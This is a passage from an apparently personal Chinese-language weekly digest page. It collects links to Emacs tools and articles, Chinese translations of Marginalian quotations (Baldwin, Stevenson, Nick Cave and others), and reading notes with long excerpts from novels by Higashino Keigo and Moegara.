optimized. </p> </blockquote></li> <li><p> <a href="https://wallabag.org/">wallbag</a> </p> <blockquote> <p> wallabag is a <span class="underline">self hostable</span> application for <span class="underline">saving web pages</span>: Save and classify articles. Read them later. Freely. </p> </blockquote> <p> See also: <a href="https://hamatti.org/posts/a-sign-of-a-good-tool-is-that-you-dont-notice-it-one-year-with-wallabag/">A sign of a good tool is that you don’t notice it - one year with wallabag</a> by Juha-Matti Santala </p></li> </ul> </div> </div> <div id="outline-container-23982D56-9DBA-4EE1-BE9D-EF194DD51993" class="outline-2"> <h2 id="23982D56-9DBA-4EE1-BE9D-EF194DD51993"><a href="#23982D56-9DBA-4EE1-BE9D-EF194DD51993">Emacs</a></h2> <div class="outline-text-2" id="text-23982D56-9DBA-4EE1-BE9D-EF194DD51993"><ul class="org-ul"> <li><p> <a href="https://github.com/chiply/svg-line">chiply/svg-line</a> </p> <blockquote> <p> SVG-rendered tab-bar, tab-line, header-line and mode-line for Emacs. </p> </blockquote> <p> See also: </p> <ul class="org-ul"> <li><a href="https://www.chiply.dev/post-svg-line">svg-line: Better Status Bars for Emacs</a> by Charlie Holland</li> <li><a href="https://www.chiply.dev/post-emacs-svg-benchmark">Emacs SVG Benchmark Reveals Gaming-Caliber Frame Rates</a> by Charlie Holland</li> </ul></li> <li><p> <a href="https://github.com/emacsmirror/mood-line">emacsmirror/mood-line</a> </p> <blockquote> <p> A minimal mode line inspired by doom-modeline </p> </blockquote></li> <li><p> <a href="https://ianyepan.github.io/posts/emacs-in-pop-culture/">Emacs Appearances in Pop Culture</a> by Ian Y.E. Pan </p> <p> Emacs 在影視文化中的痕迹,還有 <a href="https://emacs-china.org/t/lain-lisp/29339">Serial Experiments Lain</a>。 </p></li> <li><a href="https://wiki.plexwave.org/useful-emacs-key-bindings">Useful Emacs key bindings</a> by Spencer</li> <li><a href="https://ashishpanigrahi.com/blog/o365-offline-email/">Setting up offline email for Microsoft O365 with notmuch and emacs</a> by Ashish Panigrahi</li> <li><p> <a href="https://github.com/rschmukler/magit-difftastic">rschmukler/magit-difftastic</a> </p> <blockquote> <p> Integrate <a href="https://github.com/Wilfred/difftastic">difftastic</a> into magit. </p> </blockquote></li> <li><a href="https://eugene-andrienko.com/2024-12-01-emacs-plugin-jekyll-blog.html">How I wrote an Emacs plugin to build my blog</a> by Eugene</li> <li><p> <a href="https://github.com/lucasobx/pixel-themes">lucasobx/pixel-themes</a> </p> <blockquote> <p> Pixel art-inspired Emacs themes. </p> </blockquote></li> <li><a href="https://batsov.com/articles/2026/06/11/emacs-loves-asciidoc/">Emacs loves AsciiDoc</a> by Bozhidar</li> <li><a href="https://sachachua.com/blog/2026/06/from-dc-toedt-copy-org-mode-as-markdown/">From DC Toedt: Copy Org Mode as Markdown</a> by Sacha Chua</li> <li><a href="https://emacs.dyerdwelling.family/emacs/20260610061920-emacs--the-hidden-git-stash-keys-in-emacs-vc-directory-mode/">The Hidden Git Stash Keys in Emacs VC Directory Mode</a> by Emacs Dwelling</li> <li><a href="https://protesilaos.com/codelog/2026-06-13-emacs-flat-dired-for-regexp-since-days/">Emacs: flat Dired listing for REGEXP, optionally up to DAYS since last modification</a> by Protesilaos</li> <li><p> <a href="https://karthinks.com/software/even-more-batteries-included-with-emacs/">Even More Batteries Included with Emacs</a> by Karthinks </p> <p> 一些 Emacs 內置功能分享。 </p></li> <li><p> <a href="https://protesilaos.com/emacs/denote-journal">Denote Journal (denote-journal.el)</a> by Protesilaos </p> <p> 之前寫周記的時候是用 org capture 按照 datetree 生成一個 heading 來寫,或許可以試試 Prot 這個擴展。 </p></li> </ul> </div> </div> <div id="outline-container-AEA896F8-FD26-4260-9A15-2373257E949F" class="outline-2"> <h2 id="AEA896F8-FD26-4260-9A15-2373257E949F"><a href="#AEA896F8-FD26-4260-9A15-2373257E949F">一些话 | 摘抄</a></h2> <div class="outline-text-2" id="text-AEA896F8-FD26-4260-9A15-2373257E949F"><ul class="org-ul"> <li><p> <a href="https://www.themarginalian.org/2026/06/11/book-of-birds-macfarlane-morris/">How to See a Bird: Robert Macfarlane and Jackie Morris’s Exquisite Illustrated Field Guide to the Wonder of the Winged</a> by The Marginalian </p> <blockquote> <p> 察覺是命名的第一步;認知則是了解事物及其相互關係的首要環節。知識可能引發好奇,好奇轉化為關懷,關懷促成行動,而行動帶來改變。但這是一條脆弱的連鎖,極易斷裂 ⸺ 其環節必須一次又一次地重新鍛造與連結。 </p> <p> <a href="https://www.themarginalian.org/2026/06/11/book-of-birds-macfarlane-morris/#:~:text=Noticing,over,-%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/">James Baldwin on How to Live Through Your Darkest Hour and Life as a Moral Obligation to the Universe</a> by The Marginalian </p> <blockquote> <p> <span class="underline">凌晨四點可能是一個令人崩潰的時刻。</span><span class="underline">這一天,無論曾是怎樣的一天,都已無可爭議地結束了;</span><span class="underline">幾乎在瞬間,新的一天便開始了:而人該如何承受它?</span><span class="underline">大概不會比承受即將結束的那一天好到哪裡去,甚至可能更糟。</span>此外,終有一天會到來,那是你無法回憶的一天,是你生命的最後一天,而在那一天,你自己將變得像所有逝去的日子一樣,再也無法找回。 </p> <p> 這是一個可怕的推測 ⸺ 或者更確切地說,是一種可怕的認知 ⸺ 總有一天,你的眼睛將不再注視這個世界。你將不再出現在宇宙清晨的點名冊上。光芒會為他人升起,但不再為你。 </p> <p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/#:~:text=Four%20AM,you">Source</a> </p> </blockquote> <blockquote> <p> 有時,在凌晨四點,這種認知幾乎足以迫使自己與所有的痛苦和錯誤達成和解。<span class="underline">既然無論如何,這一切終將結束,那為什麼不 ⸺ 對生活 ⸺ 再試一次呢?</span> </p> <p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/#:~:text=Sometimes%2C%20at%20four%20AM%2C%20this%20knowledge%20is%20almost%20enough%20to%20force%20a%20reconciliation%20between%20oneself%20and%20all%20one%E2%80%99s%20pain%20and%20error%2E%20Since%2C%20anyway%2C%20it%20will%20end%20one%20day%2C%20why%20not%20try%20it%20%E2%80%94%20life%20%E2%80%94%20one%20more%20time">Source</a> </p> </blockquote> <blockquote> <p> 我認為我們所有的航行都將我們驅向那裡;<span class="underline">因為我一直覺得,一個人只能被另一個人救贖。</span><span class="underline">我意識到我們並不常救贖彼此。</span><span class="underline">但我同時也意識到,我們有時確實能救贖彼此。</span> </p> <p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/#:~:text=I%20think,time">Source</a> </p> </blockquote> <blockquote> <p> 因為,或許 ⸺ 或許 ⸺ 從現在到最後一天之間,會發生一些奇妙的事情,一個奇蹟,一個關於連貫與釋放的奇蹟。而一個人不穩定的注意力所聚焦的奇蹟,無論如何表述,或無論如何保持緘默,始終是同一個。那就是愛的奇蹟,這種愛強大到足以引導或驅使一個人進入成熟的偉大境界,或者換句話說,進入對自身身份的理解與接納。因為我相信,某種深層且根深蒂固的本能讓我們知道,只有這種充滿激情的成就才能超越死亡,才能讓生命從死亡中萌芽。 </p> <p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/#:~:text=For%2C%20perhaps,death,-%2E">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">在凌晨四點,當一個人覺得自己可能根本無法支撐這個奇蹟時,</span><span class="underline">所有的傷口都甦醒並隱隱作痛,</span><span class="underline">所有可怕的不足從牆壁和地板上凝視並叫囂著 ⸺</span><span class="underline">整個宇宙縮小成了自我的監獄 ⸺</span><span class="underline">死亡就像高大黑暗的山路上唯一的燈光,在那裡,一個人永遠、永遠地迷失了方向。</span><span class="underline">⸺ 我們中的許多人就在那時隕落。</span> </p> <p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/#:~:text=AM%3A-,At,then">Source</a> </p> </blockquote> <blockquote> <p> 但如果一個人能回溯、能深入 ⸺ 深入內心,深入生命 ⸺ 並在那裡找到一些見證,無論多麼出乎意料或矛盾,只要能證明自己的現實,就能使人(儘管可能不那麼精神抖擻地)去面對另一天……<span class="underline">在凌晨四點,一個人必須能夠認識到,至少不能因為個人的痛苦而有權奪走自己的生命。</span><span class="underline">所有的生命都與其他生命相連,當一個人離去時,隨之而去的遠不止那個人本身。</span><span class="underline">一個人必須將自己視為某種數量與質量的守護者 ⸺ 即你自己 ⸺</span><span class="underline">這在世界上是絕對獨一無二的,因為它以前從未出現過,以後也永遠不會再出現。</span> </p> <p> <a href="https://www.themarginalian.org/2026/06/10/james-baldwin-nothing-personal-4-am/#:~:text=But%20if,again">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/08/robert-louis-stevenson-love/">Robert Louis Stevenson on Falling in Love and Loving Beyond the Fall</a> by The Marginalian </p> <blockquote> <p> 在這個課題上,直覺或他人的行為都無法幫助哲學家探尋真理。關於愛,凡是正確的思想或文字,恐怕無一不是個人經驗的結晶。其影響與起因完全不成比例。兩個人,或許兩人都稱不上多麼和藹可親或貌美如花,他們相遇、交談幾句、凝視彼此的雙眼。在各自的經歷中,這樣的事或許已發生過十幾次,卻都沒什麼大不了的結果。但這一次,一切都不同了。他們立刻陷入了那種狀態:<span class="underline">另一個人成為了上帝造物中對我們而言最核心、最精髓的存在,並以一抹微笑摧毀了我們苦心經營的理論;</span>在這種狀態下,我們的思緒與那唯一的中心思想緊密相連,甚至連個人生活中的瑣碎憂慮都化作了虔誠的奉獻,而對生命本身的熱愛,也轉化為一種渴望 ⸺ 渴望與如此珍貴且令人嚮往的伴侶留在同一個世界。 </p> <p> <a href="https://www.themarginalian.org/2026/06/08/robert-louis-stevenson-love/#:~:text=mystery%3A-,It,creature">Source</a> </p> </blockquote> <blockquote> <p> 愛應當張開雙臂奔向愛。<span class="underline">事實上,最理想的故事是兩個人步調一致地走入愛河,帶著一絲悸動,就像一對孩子共同冒險進入一間暗室。</span>從初次見面時那種帶著刺痛的好奇心開始,經歷一階段又一階段不斷增長的愉悅與羞澀,他們能從彼此的眼中讀出自己內心的不安。這裡沒有所謂正式的表白,因為那份情感被分享得如此顯而易見。 </p> <p> <a href="https://www.themarginalian.org/2026/06/08/robert-louis-stevenson-love/#:~:text=Love%20should,shared">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/13/nick-cave-humility-curiosity/">Nick Cave on the Two Pillars of a Meaningful Life</a> by The Marginalian </p> <blockquote> <p> 接著,他提出了充實人生的兩大支柱 ⸺ 這兩種心靈導向「對我們有時僵化且孤立的價值體系具有軟化作用」: </p> <p> 第一是謙遜。<span class="underline">謙遜等同於一種理解:世界並非由好人和壞人組成,而是由各種各樣的人組成,</span><span class="underline">每個人都以自己的方式破碎著,每個人都陷入共同的人類掙扎中,且每個人都有能力做出可怕與美好的事情。</span>如果我們真正理解並承認我們都是不完美的生物,我們會發現自己對他人的缺點變得更加寬容和接納,世界看起來也不再那麼不和諧、不再那麼孤立、不再那麼具有威脅性。 </p> <p> 另一種特質是好奇心。<span class="underline">如果我們以好奇心看待與我們價值觀不同的人,他們會變得有趣而非威脅。</span>隨著年齡增長,我了解到世界及其中的人們出奇地有趣,而且你越是觀察和傾聽,他們就變得越有趣。<span class="underline">培養一種以對話為主要工具的質疑精神,能豐富我們與世界的關係。</span><span class="underline">我逐漸發現,與可能持不同意見的人交談,是一種擁抱生命的巨大樂趣。</span> </p> <p> <a href="https://www.themarginalian.org/2026/06/13/nick-cave-humility-curiosity/#:~:text=He,pleasure">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/12/hawthorne-life/">How Not to Waste Your Life</a> by The Marginalian </p> <blockquote> <p> [&hellip;]衡量一生是否虛度的標準,不在於身後留下了什麼,而在於如何度過 ⸺ 在於這些有限的日子、這些無法重來的時光中,注入了多少正直、真實與創造的活力。 </p> <p> <a href="https://www.themarginalian.org/2026/06/12/hawthorne-life/#:~:text=motion%3B-,not,hours%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/14/john-odonohue-blessings-beginnings/">A Spell Against Stagnation: John O’Donohue on Beginnings</a> by The Marginalian </p> <blockquote> <p> 有時最大的挑戰在於真正開始;我們內心深處有一種力量,與那些想要留在安全邊界內、保持原狀的念頭暗中勾結……有時一段準備期是必要的,讓開始的念頭得以醞釀和完善;但很多時候,在我們本該冒險一躍、開啟新篇章時,我們卻在不必要地拖延和猶疑。 </p> <p> <a href="https://www.themarginalian.org/2026/06/14/john-odonohue-blessings-beginnings/#:~:text=Sometimes,beginning,-%2E">Source</a> </p> </blockquote> <blockquote> <p> 在虛度一天翻閱雜誌或其他瑣碎雜集後,所感受到的那種特有的疲憊與精神沮喪,與嚴謹學習後的心境截然不同;因為這過程中沒有興奮感,沒有需要克服的困難,精神就在不知不覺中消散了。 </p> <p> <a href="https://www.themarginalian.org/2026/06/12/hawthorne-life/#:~:text=writes%3A-,The,insensibly">Source</a> </p> </blockquote></li> <li><p> <a href="https://zh.wikipedia.org/wiki/%E6%97%B6%E9%97%B4%E8%B6%B3%E5%A4%9F%E4%BD%A0%E7%88%B1">时间足够你爱</a> by 羅伯特·海萊因 </p> <blockquote> <p> 一个人应该能够给孩子换尿布、计划一次侵略行动、杀猪、驾驶飞船、设计建筑物、写诗、做会计账目、砌墙、接合断骨、照顾临终的人、执行命令、下达命令、与人合作、独立行动、解方程式、分析一个新问题、施肥、编程、做一餐美味的饭、高效地战斗、勇敢地死去。专业化是为昆虫准备的。 </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-1B1459A7-97DD-40FF-954A-ED927BE5CA16" class="outline-2"> <h2 id="1B1459A7-97DD-40FF-954A-ED927BE5CA16"><a href="#1B1459A7-97DD-40FF-954A-ED927BE5CA16">多媒体</a></h2> <div class="outline-text-2" id="text-1B1459A7-97DD-40FF-954A-ED927BE5CA16"></div> <div id="outline-container-6A657B2F-1D45-4DD0-B5DB-249FE1645DA4" class="outline-3"> <h3 id="6A657B2F-1D45-4DD0-B5DB-249FE1645DA4"><a href="#6A657B2F-1D45-4DD0-B5DB-249FE1645DA4">书</a></h3> <div class="outline-text-3" id="text-6A657B2F-1D45-4DD0-B5DB-249FE1645DA4"><ul class="org-ul"> <li><p> <a href="https://book.douban.com/subject/35310641/">狐狸在夜晚来临</a> by [荷兰] 塞斯•诺特博姆 </p> <p> 因為書名找來看的一本書,看了前面的几篇,不想繼續看了。壓垮我的是那篇「海因茨」,篇幅很長,信息有很碎,發生了什麼需要一點點去拼凑文字中綫索,中間如果停了一段時間不看,就可能搞不明白在講什麼。而且這篇有點故弄玄虛的感覺,開頭對著一張照片說著讓人云里雾里的話,讀著有點煩躁。《雷暴》那篇相對好讀一些。 </p> <p> 書里的故事通過拼凑許多片段,讀者去還原故事大概的樣子,并因此給讀者帯來某種情緒和感受。但真不喜歡這樣零碎的描寫手法,看著累。不知道和翻譯有没有關係。 </p></li> <li><p> <a href="https://book.douban.com/subject/3646172/">惡意</a> by [日] 东野圭吾 </p> <p> 小說通過不同人的視角叙述故事,還原事件的原貌,讀著還不錯,篇幅也不長,几個小時就能看完,是讓人想一直看下去的推理故事。 </p> <p> 凶手很早就找到了,小說更多的篇幅在調查凶手的過往,試圖找到凶手的殺人動機,最後揭示了凶手內心深处的惡意。 </p> <p> 惡意不知是从何時開時扎根在心中的,或是因為朋友的好而對比出自己的不足產生的自卑,或是因為妒忌,明明對方對自己并不差,但就是恨他,以致於自己临死前要抺黑對方,殺了對方才行。 </p> <p> 我想人心中都會存在一些惡意,只是有的人不敢释放,有的人是將其壓在心中不讓它擴大。惡意释放出來,形式不一定是殺人這麼極端,也可能是一種時時刻刻的針對,一条充滿惡意的評論,或是一次讓人陷入痛苦的造謠。 </p></li> <li><p> <a href="https://book.douban.com/subject/34791792/">我們都無法成為大人</a> by 燃え殻 </p> <details> <summary>摘录</summary> <blockquote> <p> 这个世界就像逐渐沉没的「泰坦尼克号」。船上到处是想尽办法多活一阵子的人、分开人群寻找救生船的群众、死到临头还不愿抛下权力的死硬派、静静等待死亡到来的老人、在绝望的深渊将命运绑在一起的男女 、演奏到最后一刻的艺术家。 </p> </blockquote> <blockquote> <p> 「东京塔比天空树更色情,我喜欢它。」 </p> </blockquote> <blockquote> <p> 我们最后一次见面是 1999 年的夏天,地点是涩谷的 Loft。她说她想去买唇膏,就约我出来,约会过程平淡无奇。分别的时候,她说:「下次带 CD 给你哦。」那就是我和她的大结局。<span class="underline">电视剧里,无论结局是分手还是大团圆,总会在第十二集里把角色之间的关系厘清。</span><span class="underline">但在现实生活中,她的最后一句台词竟然是「下次带 CD 给你哦」。</span> </p> </blockquote> <blockquote> <p> 这里是日比谷线上野站,穿着灰色西装的上班族, <span class="underline">如亡灵一般被吸进检票口。</span> </p> </blockquote> <blockquote> <p> 走出检票口,刺眼的阳光和 <span class="underline">湿毛巾一样的热风</span> 将我猛地裹住,蝉好像也不堪暑热似的叫声疲惫。 </p> </blockquote> <blockquote> <p> 「你的梦想是什么呢?」 </p> <p> 「梦想?这种东西我想都没想过。」 </p> <p> 「也不知道哪里有卖这东西的。」 </p> <p> <span class="underline">「不过没有梦想,也就不会有梦碎了的那天,也算赚到了吧。」</span> </p> <p> 「真是个寂寞的男人。」 </p> </blockquote> <blockquote> <p> 不久便收到了回信。用仲屋梦幻堂发放的免费报纸折成的信封里装有一张泛着印度线香味道的便笺。她的回信也只有一行:「小泽健二是我的白马王子。」信封里除了便笺,还放了几张迷你剧院里供人取阅的宣传单,用胶水拼贴起来。还未谋面,我已经被她吸引。一股小众的清新味道越过我的好奇心将我俘虏。我当时拼命想让自己显得与众不同,如今想来,我那样做不过是没有过平凡日子的勇气,也不愿努力罢。 </p> </blockquote> <blockquote> <p> 第二次给她回信,我写得很认真,把自己的爱好事无巨细地交代了一通。包括从 The Flipper's Guitar 时代就是小泽健二的忠实听众,到爱听 Original Love、Cornelius、Denki Groove 的歌等。她在回信中的便笺页数也越来越多,主要告诉我她偏爱涩谷系音乐风格,受大槻贤二的影响,对印度心怀憧憬。 </p> <p> 不知不觉,读她的信成了我放工休息时最大的乐趣。不,回想起来,这或许是我在闪电泡芙工厂留下的唯一一份美好回忆。 </p> </blockquote> <blockquote> <p> 《福星小子2:绮丽梦中人》(Urusei Yatsura 2: Beautiful Dreamer)押井守导演 1984 年发表的异色作品, 整部影片似乎给观众出了一道谜题。 故事从学园祭的前一天开始。所有学生都满怀期待地为第二天的学园祭做准备, 拉姆却说「希望这一刻时光能直到永远」。 后来影片中的角色都回家了。 第二天早上来到学校,却发现还是学园祭的前一天,每个人都满怀期待地为明天做准备。 咦,我们是不是一直在重复同一天? 当学生们发现蹊跷时,这一天已经快要结束; 第二天又是学园祭的前一天 ⸺ 就这样无限循环下去。 影片末尾,拉姆睡醒后喃喃地说自己梦到了很多同学,剧中主人公阿当温柔地回答:「那是梦,是梦哦。」 她很喜欢这一幕情节,总是在那家情侣酒店放这部录影带,一遍又一遍地看。 </p> </blockquote> <blockquote> <p> 「你呢?过着怎样的生活?」她说着偷偷看了我一眼,然后低头微笑。 </p> <p> 「嗯,挺普通的。 我也不乐观,读高中时每过完一天,我都要在日历上画个叉子。 祝贺自己今天没有杀人犯法。很古怪吧。」 话刚出口,我就后悔了。 </p> <p> 她却又「嘿嘿」笑了笑说:<span class="underline">「但我觉得,认真生活的人是肯定会犯法的。『常在河边走,哪有不湿鞋。』」</span> </p> <p> 「你还是第一个这样说的人。」我丝毫没想到她会这样回答,这回反而是我不好意思了。 我在 Hot-Dog PRESS 里看到过这样的句子: <span class="underline">「能立刻发现你理发的人,是想和你上床的人;</span> <span class="underline">而能发现你身上连自己都没注意到的小伤口的人,一定是喜欢你的人。」</span> 那时我还不懂这句话的意思,一段沉默后,她有些突兀地说: 「你这样有趣的人,是不要紧的啦。」 </p> </blockquote> <blockquote> <p> <span class="underline">「听说面试前去麦当劳,就会被成功录用的 。」</span> </p> <p> 「欸,真的吗?」 </p> <p> 「这是我的都市传说 。」 </p> </blockquote> <blockquote> <p> 「喜欢的人」。 就算是她一时冲动,或者今后注定要被收回,那仍然是能让此刻的我大脑宕机的一句话。 </p> <p> 「那么,嗯 ⸺ 请多指教。」我艰难地做出回应。 </p> <p> 她把话接了下去:「拜托你啦。」 </p> <p> <span class="underline">她的一言一行就像突然出现在西边天空的不明飞行物,让我无法解释。</span>但这个奇怪的女孩子,已经慢慢地将我的人生变得不再普通。 </p> </blockquote> <blockquote> <p> 不知从什么时候起,我们走入房间的那一瞬,会互相说一句「我回来了」。在封闭的黑暗里,在这个仿佛与世隔绝的地方,我们聊最近读了什么书、如果 Flipper's Guitar 重组会怎样之类不着边际的话题,<span class="underline">彼此抱怨工作上的烦心事,像逃避现实一样紧紧拥抱。</span><span class="underline">只有拥抱着彼此,才能觉得自己从未来的不安和地球的重力中得到了解放,我在黑暗中用力地向她伸出手。</span> </p> </blockquote> <blockquote> <p> 无论是按部就班地来还是失败,其实都不太重要。最关键的难道不是和谁一起经历这一切吗? ⸺ 我这样想着,却没有把这个想法打在手机里。就算是再怎么虚无缥缈的梦,人都会想要获得一份肯定。<span class="underline">人就是那种不在背包里放点什么东西就不会向前走的动物。</span><span class="underline">虽然想轻装上阵,但要是两手空空也难免不安。</span> </p> </blockquote> <blockquote> <p> 那一年是1991年,泡沫经济开始破裂,我们的愿望化为社会中的不良资产,宁愿地球真的毁灭。车谷每说一段话,结尾都要加上「反正 1999 年地球就毁灭了」。解释自己为什么毫无存款、为什么不找工作、为什么还是处男之后,他都要加上这一句:「反正 1999 年地球就要毁灭了!」 </p> </blockquote> <blockquote> <p> 心中抚不平的伤口感到疼痛的时候,我总会想起那天的情景。想起我鲜血淋漓的左手被紧紧握住的瞬间。堵在心口的浪漫,也许就在这样一些煞风景的时刻出现,像唰地擦亮了火柴复又熄灭的点点火光。 </p> </blockquote> <blockquote> <p> <span class="underline">「当然不是旅行了!这叫私奔。」</span>她似乎想让自己显得更有趣一些,得意地笑着,依偎在我肩上。 </p> <p> 后来,每当季节交替的时候,我都要陪她走一趟这种随性的旅行。她把往南去称为度长假,往北去则是私奔。每次根据当天的心情决定在哪站下车,然后在那里的街上散步,坐在不知名的公园的秋千上发呆,走进一家从没去过的二手书店站着看看书,找一家装潢漂亮的拉面店两人一起大吃一顿。遇上好吃的、看见好看的、好玩的东西时,还有一个一定也会因此兴高采烈的人就在我身边 ⸺ 我觉得,这就叫作幸福。 </p> </blockquote> <blockquote> <p> 「为什么想到远处去?」 </p> <p> <span class="underline">「哎呀,如果去了国外,能接受各种刺激,人生说不定就有了转机呢。」</span> </p> <p> 面对她天真无邪的疑问,我做了口头禅似的回答。 </p> </blockquote> <blockquote> <p> 「听说宫泽贤治到死都没有去过远的地方 呢。」 </p> <p> 今天,面对我千篇一律的作答,她第一次把话接了下去。 </p> <p> 「宫泽贤治?」 说话间,她欠起身,从后面的口袋里拿出一本文库本。 </p> <p> 「他写这本书好像是为了怀念生病去世的妹妹的吧。」 </p> <p> 我默默翻着留有她体温的那本《银河铁道之夜》。 </p> <p> <span class="underline">「贤治在东北的乡下度过大半生,却到银河旅行了一趟呢。」</span><span class="underline">窗外照进来的晨光令她眯起眼睛,将窗帘拉起来一半。</span><span class="underline">「他一定也想带妹妹一起到银河看一看吧。」</span><span class="underline">她看着我的眼睛继续说道,</span><span class="underline">「所以说啊,重要的不是要去哪里,而是和谁一起去。」</span> </p> </blockquote> <blockquote> <p> 虽然我不了解具体情况,但关口一直说自己很久没有回过位于新潟的老家了,七濑也从没说过他有什么亲近的人。不过此时此刻,束着一头掺着银丝的长发、捏着饭团的七濑,和从吧台另一侧微微倾身看他的关口,在我眼中,俨然像一对父子。玻璃窗上的雨声更加猛烈,但阳光却真切地怀疑它出了故障的危险时期一去不返。公司业绩平稳,不再大起大落。一个再寻常不过的早晨,我照旧在 BAR RAINY 醒来。彼时我还年轻,精力还旺盛。偶尔有些小病小痛的,但没有大病的征兆。父母健在,又有稳定交往的女友。时过境迁,我依然能清晰地回忆起那个清早感受到的慵懒而深切的安稳和温暖。 </p> <p> 雨点打在店里的玻璃窗上,声音猛烈。我和关口如往常一样等公司的联络,灌下三杯兑水的烧酒后,似乎是一个不小心便睡了过去。玻璃窗外明明雨声猛烈,却又有阳光照进屋里。烧水壶发出让人愉快的响声。我将眼睛眯开一条缝,看见自己横躺在客厅,身上盖着一条薄毛毯。店里收拾得整整齐齐,飘着味噌汤的味道。关口不知什么时候已经坐在吧台前,七濑一面切了豆腐放进味噌汤里,一面对他说: 「一会儿煎茶就煮好了。」我本来有点担心节目的情况,一想到关口责任感很强,万一有急事,他就算一个人也会赶过去,便明白应该是没有出问题。 </p> </blockquote> <blockquote> <p> 午夜时分,黄金街上来来往往的贤者教会我一个人生必备的法则:人需要另一副脸孔,以便在住所之外扮演另一个自己。 </p> <p> <span class="underline">酒吧里,客人们叫着彼此的外号,说着大话,交流各自的人生体验,这一切都只存在于那一个晚上。</span><span class="underline">往往是去上了个厕所回来,发现刚才和自己聊天的客人就不见了。</span><span class="underline">正因如此,大家才能说出平时无法对亲近的人说出的真心话,才能笑谈白日里沉重的烦恼。</span><span class="underline">仅仅在这个瞬间,人与人的距离缩短了,我们接近彼此的人生,之后又回到各自所在的世界。</span> </p> </blockquote> <blockquote> <p> 我看见这类女孩,便判定她与我不属于同一个世界,主动 <span class="underline">拉下心里的卷帘门</span> 。 </p> </blockquote> <blockquote> <p> 世上没有诸如我是「凸」、你是「凹」的简单拼图,大多数情况下,我都是「△」,你则是「☆」。如果当年我们能笑对这不完美的错位,也许我们今天还在一起。 </p> <p> 但是,那时的我根本想不到这些,而是情不自禁地说出一句没度量的男人垂死挣扎的专属台词:「喂,我们要一直在一起哦。」 </p> </blockquote> <blockquote> <p> 「没有谁是求着父母,让他们把自己生在这个时代的吧?能自己决定的事情,不过就是今晚喝哪种酒罢啦!」曾几何时,七濑一喝醉酒就会摆出厌世的做派,扯上这副论调。见到吧台上有谁心情烦躁, 还会再加一句:<span class="underline">「人生真正面对重大选择的时候,我们是没有自由的。顺其自然吧!」</span> </p> </blockquote> <blockquote> <p> 车里突然吹进一阵疾雨,夹带着风的声音。 </p> <p> 被关口吩咐去买黑咖啡的司机一脸抱歉地坐进车里。 </p> <p> 「对不起,没有黑咖啡。买的是奶咖。」 </p> <p> 关口从司机手中接过热咖啡,将其中一杯递给我。 </p> <p> <span class="underline">「就算事情不在自己的预期,也要跟着叫好。这才是成年人该做的事。」</span> </p> </blockquote> <blockquote> <p> 电台 DJ 正表示对现代社会人际交往简单化的担忧。 </p> <p> 「以前,我们的前辈们曾在有限的字数中努力传达对远方爱人的思念。只用三个字去表达。」 </p> <p> 我瞥了关口一眼。他正庄重地准备点燃香烟。男中音 DJ 以略快的语速继续广播。 </p> <p> 「1957 年,日本第一支南极考察队接近南极。在当时,电报是很先进的技术。那时候,有一位妻子给朝南极进发的丈夫发了一封简短的电报。嗯 ⸺ 真是浪漫啊。」我脑海中浮现出丝当年醉酒后红扑扑的脸颊,还有玄关大门关上的瞬间,她背对我挥手的样子。 </p> <p> <span class="underline">「就这样,这位妻子仅仅用三个字,在电报中寄托了她全部的爱意。</span><span class="underline">没错,她只用三个字表达了爱:あなた。」</span> </p> <p> [&hellip;] </p> <p> 隔了时差和车载收音机,我终于领会到那天早上丝想向我传达的情感。小面包车的后视镜中映出我的脸,一如当年凝望天文馆般梦幻的天花板时的模样。原来丝那时就已不打算和我再见。其实我早明白这个事实,但在那一刻,我才接受了它。 </p> </blockquote> <blockquote> <p> 「你在读什么?」我问她。 </p> <p> 「中岛罗门的《永远也已过了一半》。」她将那本书藏到枕头底下。「主人公的工作是用电子照相排字机日复一日地给别人打字。和你很像吧?」说完,她把耳朵贴到我平躺着的胸前,有一阵子没有动,「能听见心跳的声音。」 </p> <p> 「有很多年,他都一个人操纵排字机,只是一味输入和自己意志无关的文字。」 </p> <p> 故事主人公的日常生活和拼命将电视台送来的文稿敲进苹果电脑的我惊人地相似。 </p> <p> 「一天,他生病了,依然坐到排字机前。到了第二天早上,竟然发现自己写了一整本小说。」「无意识之中写的小说?」我强打精神提问。 </p> <p> <span class="underline">「因为他输入的那些别人的文字,全都没有消失,而是遍布了他身体的每一个角落。」</span> </p> <p> 「就像语言的幽灵一样啊。」我脸朝着天花板说。她则继续把耳朵贴在我胸口说话。 </p> <p> 「你的身体里,也一定有许多文字没有消失吧。」 </p> <p> 「我身上什么都没有。」也许最不相信这个判断的人,就是我自己。心脏的搏动、雨声和她的呼吸声重叠在一起。「没关系的。」她说。 </p> <p> 「你这样有趣的人,是不要紧的啦。」 </p> </blockquote> <blockquote> <p> <span class="underline">真正再见的时候,人是不会对彼此道别的。</span> </p> <p> 再见的时候,我们既不会说出需要加粗显示的名言,也不会搞出让人拍手称快的小插曲。等待我们的只有不通向任何地方的结局。我们打不开这个死结。她留给我几个问题,就这样消失不见了。 </p> <p> 所谓的「一直」,到底是什么?为什么要去远方?「喜欢的人」是什么?这些问题死在我心里,没有随风逝去,而是像幽灵一样,事到如今依然萦绕着我。 </p> </blockquote> <blockquote> <p> 